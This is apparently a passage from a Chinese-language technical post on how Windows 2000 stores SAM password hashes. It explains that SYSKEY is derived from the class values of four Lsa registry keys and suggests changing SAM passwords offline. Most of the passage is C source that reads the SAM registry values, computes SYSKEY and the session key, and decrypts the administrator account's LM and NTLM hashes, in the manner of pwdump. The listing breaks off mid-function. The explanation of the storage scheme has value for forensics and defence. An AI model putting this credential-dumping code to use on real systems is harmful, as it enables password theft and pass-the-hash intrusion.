对应的SAM中加密的密码散列 ---------------------------------
这个算法相当好,保证了不同用户的相同散列在SAM存放不一样(相对SID不一样),不同机器的同一SID同口令的SAM中的散列存放不一样(SYSKEY不同);
这个算法的DES/RC4都是可逆的,这样如果我们能通过离线(文件)方式获得SYSKEY的话(其他的信息都可以分析SAM文件获得),我们完全实现离线修改SAM中口令的效果,不过这需要对注册表的结构和SAM中V/F键的数据结构再做深入的研究,这里就不谈了。
那么SYSKEY是如何计算出来的呢?这可能是我发现MS最牛皮的一个地方了,先开始想一定会存放在注册表某处,呵呵,最后跟踪MS引导时候的WINLOGON进程才知道,SYSKEY是这样计算出来的,很多人会大掉眼镜吧:
SYSKEY的计算是:SYSTEM\\CurrentControlSet\\Control\\Lsa下的
JD,Skew1,GBG,Data四个键值的CLASS值通过换位得来的,靠,佩服MS。这样我们完全可以离线分析注册表就能获得对其SAM的加密散列的导出或改写了。
下面就是给出的完全实现计算SYSKEY-》sampsecretsessionkey,对特定用户的SAM中加密的密码散列再解密的代码:当然如果从运行系统中解密散列也可以直接读取sampsecretsessionkey,就象PWDUMP3那样做的一样也是可以的,但是如果要实现离线的就还需要再分析更多的东西了。
//下面几个函数的实现,DES相关的盒,ECB等的定义参考我以前发的文章 中的代码,这里不再给出
//void deskey(char * LmPass,unsigned char * desecb)
//void rc4_key(unsigned char * rc4keylist,unsigned char * rc4key,int keylen);
//void md5init(unsigned char * LM);
//void md5final(unsigned char * LM);
//void initLMP(char * pass,unsigned char * LM);
//以前给出的des函数的实现没有解密的部分,并且有个小错误,因此这里再给出完整的一个
#include <stdio.h>
#include <
windows.h>
#include "des.h"
void getsyskey(unsigned char * syskey);
void getsampsecretsessionkey(unsigned char * syskey,unsigned char * fkey);
void md5init(unsigned char * LM);
void md5final(unsigned char * LM);
void rc4_key(unsigned char * rc4keylist,unsigned char * rc4key,int keylen);
void rc4_2bc6(unsigned char * rc4keylist,int keylen,unsigned char * key);
void getsamkey(unsigned char * sampsskey,unsigned char * uid,unsigned char * passwordtype,unsigned char * sessionkey);
void getsamhash(unsigned char * ensaminfo,unsigned char * sessionkey,unsigned char * uid);
void initLMP(char * pass,unsigned char * LM);
void deskey(char * LmPass,unsigned char * desecb);
void des(unsigned char * LM,char * magic,unsigned char * ecb,long no);
void main()
{
int i;
//下面为了简单,这3个是直接指定的用户,相对SID的注册表键名和相对SID,大家也可以写成完全根据用户名获取的方式
char username[]="SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator";
char keyname[]="SAM\\SAM\\Domains\\Account\\Users\\000001F4";
unsigned long uid=0x1F4;
unsigned char syskey[0x10];
unsigned char ensamnt[0x10];
unsigned char ensamlm[0x10];
unsigned char sessionkey[0x10];
unsigned char buf[0x400];
unsigned char sampsecretsessionkey[0x10];
unsigned char lmhash[0x10];
unsigned char nthash[0x10];
unsigned char fkey[0x30];
unsigned long ss;
DWORD regtype;
DWORD regint;
unsigned char passwordtype[5][100]={"LMPASSWORD","NTPASSWORD","LMPASSWORDHISTORY","NTPASSWORDHISTORY","MISCCREDDATA"};
HKEY hkResult;
HKEY hkResult1;
//SAM中的键读取先要提升自己成为LOCASYSTEM权限,这里并没有实现,自己增加其中的代码
//读出F键中用于计算
regint=0x400;
ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SAM\\SAM\\Domains\\Account",0,KEY_READ,&hkResult);
if(ss!=0)
printf("no Privilege!\n");
ss=RegQueryValueEx(hkResult,"F", NULL,®type,buf,®int);
for(i=regint-1;i>=0;i--)
if(buf[i]!=0)
break;
memcpy(fkey,buf+i-0x2f,0x30);
ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,username,0,KEY_READ,&hkResult);
//检查此用户是否存在
if(ss!=ERROR_SUCCESS)
return;
//读取该用户下的V键中加密的散列信息
//由于目前还未解析V中的结构,我们就直接读最后的那一串,一般都是如此存放在此
//但也不排除例外,那就需要具体分析V中的结构来计算了
regint=0x400;
ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,keyname,0,KEY_READ,&hkResult);
ss=RegQueryValueEx(hkResult,"V", NULL,®type,buf,®int);
memcpy(ensamnt,buf+regint-0x18,0x10);
memcpy(ensamlm,buf+regint-0x2c,0x10);
//计算SYSKEY,W2K系统默认SYSKEY使用,且成为其固定的一个组件
getsyskey(syskey);
//利用SYSKEY,F键中的KEY计算sampsecretsessionkey
getsampsecretsessionkey(syskey,fkey);
memcpy(sampsecretsessionkey,fkey+0x10,0x10);
//上面的就是系统引导时完成的工作,这个sampsecretsessionkey固定保存在LSASS的进程空间内
//当认证等或如PWDUMP3工作时候,就是先从系统中直接读sampsecretsessionkey再进行处理
//根据具体用户的相对SID,要恢复散列的散列类型,生成SESSIONKEY,如下面就是针对LM散列的
getsamkey(sampsecretsessionkey,&uid,passwordtype[0],sessionkey);
memcpy(lmhash,ensamlm,0x10);
//利用SESSIONKEY,SAM中加密的LM散列,相对SID做RC4/DES解密获得真正的散列
getsamhash(lmhash,sessionkey,&uid);
printf("HASH::");
for(i=0;i<0x10;i++)
printf("%02x",lmhash[i]);
printf(":");
//根据具体用户的相对SID,要恢复散列的散列类型,生成SESSIONKEY,如下面就是针对NTLM散列的
getsamkey(sampsecretsessionkey,&uid,passwordtype[1],sessionkey);
memcpy(nthash,ensamnt,0x10);
//利用SESSIONKEY,SAM中加密的NTLM散列,相对SID做RC4/DES解密获得真正的散列
getsamhash(nthash,sessionkey,&uid);
for(i=0;i<0x10;i++)
printf("%02x",nthash[i]);
printf("\n");
}
void getsamhash(unsigned char * ensaminfo,unsigned char * sessionkey,unsigned char * uid)
{
//利用SESSIONKEY,SAM中加密的LM散列,相对SID做RC4/DES解密获得真正的散列
unsigned char desecb[128];
unsigned char rc4keylist[0x102];
unsigned char LM[0x10];
unsigned char p1[0xe];
unsigned char p2[0x10];
memcpy(p1,uid,4);
memcpy(p1+4,uid,4);
memcpy(p1+8,uid,4);
memcpy(p1+0xc,uid,2);
//上面是用SID填充DESECB的KEY
rc4_key(rc4keylist,sessionkey,0x10);
rc4_2bc6(rc4keylist,0x10,ensaminfo);
//RC4处理一次再用DES解密
initLMP(p1,LM);
deskey(LM,desecb);
des(p2,ensaminfo,desecb,0);
initLMP(p1+7,LM);
deskey(LM,desecb);
des(p2+8,ensaminfo+8,desecb,0);
memcpy(ensaminfo,p2,0x10);
}
void getsamkey(unsigned char * sampsskey,unsigned long * uid,unsigned char * passwordtype,unsigned char * sessionkey)
{
//根据具体用户的相对SID,要恢复散列的散列类型,MD5生成SESSIONKEY
unsigned char LM[0x58];
int len,i;
md5init(LM);
for(i=0;i<20;i++)
if(passwordtype[i]==0)
break;
len=i+1;
memcpy(LM+0x18,sampsskey,0x10);
memcpy(LM+0x28,(unsigned char *)uid,4);
memcpy(LM+0x2c,passwordtype,len);
memset(LM+0x2c+len,0x80,1);
memset(LM+0x2c+len+1,0x0,0x58-(0x2c+len+1));
*(DWORD *)LM=0x200;
*(DWORD *)(LM+0X50)=0xF8;
md5final(LM);
memcpy(sessionkey,LM+8,0x10);
}
void getsyskey(unsigned char * syskey)
{
unsigned char keyselect[]={0x8,0xA,0x3,0x7,0x2,0x1,0x9,0xF,
0x0,0x5,0xd,0x4,0xb,0x6,0xc,0xe};
//换位表
unsigned char syskey1[0x10];
HKEY hkResult;
HKEY hkResult1;
int i,j;
long ss;
unsigned char classinfo[0x10];
DWORD c1;
ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Lsa",0,KEY_READ,&hkResult);
if(ss!=ERROR_SUCCESS)
return;
ss=RegOpenKeyEx(hkResult,"JD",0,KEY_READ,&hkResult1);
i=0;
memset(syskey1,0,0x10);
c1=0x10;
if(ss==ERROR_SUCCESS)
{
ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
RegCloseKey(hkResult1);
if(ss==ERROR_SUCCESS)
{
printf("%s\n",classinfo);
for(j=0;j<8;j++)
{
if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
classinfo[j]=classinfo[j]-0x30;
else if(classinfo[j]>='a' && classinfo[j]<='f')
classinfo[j]=classinfo[j]-'a'+0xa;
else if(classinfo[j]>='A' && classinfo[j]<='F')
classinfo[j]=classinfo[j]-'A'+0xa;
else
return;
}
syskey1[i+0]=16*classinfo[0]+classinfo[1];
syskey1[i+1]=16*classinfo[2]+classinfo[3];
syskey1[i+2]=16*classinfo[4]+classinfo[5];
syskey1[i+3]=16*classinfo[6]+classinfo[7];
i=i+4;
}
}
c1=0x10;
ss=RegOpenKeyEx(hkResult,"Skew1",0,KEY_READ,&hkResult1);
if(ss==ERROR_SUCCESS)
{
ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
RegCloseKey(hkResult1);
if(ss==ERROR_SUCCESS)
{
printf("%s\n",classinfo);
for(j=0;j<8;j++)
{
if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
classinfo[j]=classinfo[j]-0x30;
else if(classinfo[j]>='a' && classinfo[j]<='f')
classinfo[j]=classinfo[j]-'a'+0xa;
else if(classinfo[j]>='A' && classinfo[j]<='F')
classinfo[j]=classinfo[j]-'A'+0xa;
else
return;
}
syskey1[i+0]=16*classinfo[0]+classinfo[1];
syskey1[i+1]=16*classinfo[2]+classinfo[3];
syskey1[i+2]=16*classinfo[4]+classinfo[5];
syskey1[i+3]=16*classinfo[6]+classinfo[7];
i=i+4;
}
}
c1=0x10;
ss=RegOpenKeyEx(hkResult,"GBG",0,KEY_READ,&hkResult1);
if(ss==ERROR_SUCCESS)
{
ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
RegCloseKey(hkResult1);
if(ss==ERROR_SUCCESS)
{
printf("%s\n",classinfo);
for(j=0;j<8;j++)
{
if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
classinfo[j]=classinfo[j]-0x30;
else if(classinfo[j]>='a' && classinfo[j]<='f')
classinfo[j]=classinfo[j]-'a'+0xa;
else if(classinfo[j]>='A' && classinfo[j]<='F')
classinfo[j]=classinfo[j]-'A'+0xa;
else
return;
}
syskey1[i+0]=16*classinfo[0]+classinfo[1];
syskey1[i+1]=16*classinfo[2]+classinfo[3];
syskey1[i+2]=16*classinfo[4]+classinfo[5];
syskey1[i+3]=16*classinfo[6]+classinfo[7];
i=i+4;
}
}
c1=0x10;
ss=RegOpenKeyEx(hkResult,"Data",0,KEY_READ,&hkResult1);
if(ss==ERROR_SUCCESS)
{
ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
RegCloseKey(hkResult1);
if(ss==ERROR_SUCCESS)
{
printf("%s\n",classinfo);
for(j=0;j<8;j++)
{
if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
classinfo[j]=classinfo[j]-0x30;
else if(classinfo[j]>='a' && classinfo[j]<='f')
classinfo[j]=classinfo[j]-'a'+0xa;
else if(classinfo[j]>='A' && classinfo[j]<='F')
classinfo[j]=classinfo[j]-'A'+0xa;
else
return;
}
syskey1[i+0]=16*classinfo[0]+classinfo[1];
syskey1[i+1]=16*classinfo[2]+classinfo[3];
syskey1[i+2]=16*classinfo[4]+classinfo[5];
syskey1[i+3]=16*classinfo[6]+classinfo[7];
i=i+4;
}
}
//这4个键的CLASS值组合起来做换位就是MS的SYSKEY了
for(i=0;i<0x10;i++)
{
syskey[keyselect[i]]=syskey1[i];
}
for(i=0;i<0x10;i++)
printf("0x%02x ",syskey[i]);
printf("\n");
}
void getsampsecretsessionkey(unsigned char * syskey,unsigned char * fkey)
{
unsigned char LM[0x58];
unsigned char rc4keylist[0x102];
char m1[]="!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%";
char m2[]="0123456789012345678901234567890123456789";
md5init(LM);
memcpy(LM+0x18,fkey,0x10);
memcpy(LM+0x28,m1,0x2f);
memcpy(LM+0x57,syskey,1);
*(DWORD *)LM=0x278;
md5final(LM);
memcpy(LM+0x18,syskey+1,0xf);
memcpy(LM+0x27,m2,0x29);
*(DWORD *)LM=0x5c0;
memset(LM+0x50,0x80,1);
memset(LM+0x51,0,7);
md5final(LM);
*(DWORD *)LM=0x600;
memset(LM+0x18,0,0x38);
*(DWORD *)(LM+0x50)=0x3c0;
*(DWORD *)(LM+0x54)=0;
md5final(LM);
rc4_key(rc4keylist,LM+8,0x10);
rc4_2bc6(rc4keylist,0x20,fkey+0x10);
//这里生成在fkey中的前0X10字节就是sampsecretsessionkey
md5init(LM);
memcpy(LM+0x18,fkey+0x10,0x10);
memcpy(LM+0x28,m2,0x29);
memcpy(LM+0x51,fkey+0x10,0x7);
*(DWORD *)LM=0x248;
md5final(LM);
memcpy(LM+0x18,fkey+0x17,0x9);
memcpy(LM+0x21,m1,0x2f);
memset(LM+0x50,0x80,1);
memset(LM+0x51,0,7);
*(DWORD *)LM=0x5c0;
md5final(LM);
memset(LM+0x18,0,0x40);
*(DWORD *)LM=0x600;
*(DWORD *)(LM+0x50)=0x3c0;
*(DWORD *)(LM+0x54)=0;
md5final(LM);
}
void rc4_2bc6(unsigned char * rc4keylist,int keylen,unsigned char * key)
{
unsigned long c1;
unsigned char d1,b1,a1;
int i;
c1=rc4keylist[0x100];
d1=rc4keylist[0x101];
for(i=0;i<keylen;i++)
{
c1=c1++;
c1=c1%256;
a1=rc4keylist[c1];
d1=d1+a1;
b1=rc4keylist[d1];
rc4keylist[c1]=b1;
rc4keylist[d1]=a1;
a1=a1+b1;
b1=key[i];
a1=rc4keylist[a1];
b1=b1^a1;
key[i]=b1;
}
}
void des(unsigned char * LM,char * magic,unsigned char * ecb,long no)
{
DWORD d1,d2,d3,d4;
DWORD a1,a2,a3;
int i;
d1= *(DWORD *)magic;
d2= *(DWORD *)(magic+4);
d1 = (d1<<4)
关键词:SAM的散列存储加密解密算法